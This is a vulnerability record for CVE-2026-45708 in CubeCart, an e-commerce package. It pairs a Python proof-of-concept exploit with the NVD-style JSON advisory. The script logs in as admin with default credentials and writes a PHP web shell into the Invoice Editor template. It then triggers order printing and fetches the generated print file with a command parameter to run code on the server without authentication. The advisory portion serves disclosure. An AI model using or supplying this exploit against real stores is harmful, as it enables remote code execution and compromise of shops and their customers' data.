CVE-2026-45708

import requests # Configuration target_url = "http://example.com" admin_username = "admin" admin_password = "password" # 1. Login to get session session = requests.Session() login_payload = { "username": admin_username, "password": admin_password } login_resp = session.post(f"{target_url}/admin.php", data=login_payload) if "dashboard" not in login_resp.text: print("Login failed") exit() # 2. Inject PHP code into Invoice Editor # Note: The actual endpoint/parameters might differ based on CubeCart version malicious_php = "<?php system($_GET['cmd']); ?>" edit_payload = { "document_content": malicious_php, "action": "save_invoice_template" } # Assuming endpoint for saving document session.post(f"{target_url}/admin.php?_g=documents", data=edit_payload) print("[+] Malicious code injected.") # 3. Trigger Print (Simulate admin clicking print) # This generates the print.<md5>.php file print_trigger_url = f"{target_url}/admin.php?_g=orders&action=print" trigger_resp = session.get(print_trigger_url) # 4. Exploit (Access the generated file) # In a real scenario, we would need to guess or find the MD5 hash. # This is a conceptual demonstration. print("[+] Attempting to access the generated shell...") # Example: http://example.com/files/print.e10adc3949ba59abbe56e057f20f883e.php exploit_url = f"{target_url}/files/print.e10adc3949ba59abbe56e057f20f883e.php?cmd=whoami" # Attacker does not need session for this step due to .htaccess configuration exploit_resp = requests.get(exploit_url) print(f"[+] Response: {exploit_resp.text}")

{"cve": {"id": "CVE-2026-45708", "sourceIdentifier": "[email protected]", "published": "2026-05-13T21:16:49.877", "lastModified": "2026-05-14T20:17:09.407", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CubeCart is an ecommerce software solution. Prior to 6.7.3, an admin with documents edit permission can save raw <?php … ?> into the Invoice Editor. The next time any admin clicks Print on any order, the rendered template is written to files/print.<md5>.php. files/.htaccess ships an explicit <Files print.*.php> allow from all </Files> carve-out, so the file is fetched and executed by any unauthenticated visitor. This vulnerability is fixed in 6.7.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/cubecart/v6/security/advisories/GHSA-747j-4mmc-cj63", "source": "[email protected]"}, {"url": "https://github.com/cubecart/v6/security/advisories/GHSA-747j-4mmc-cj63", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}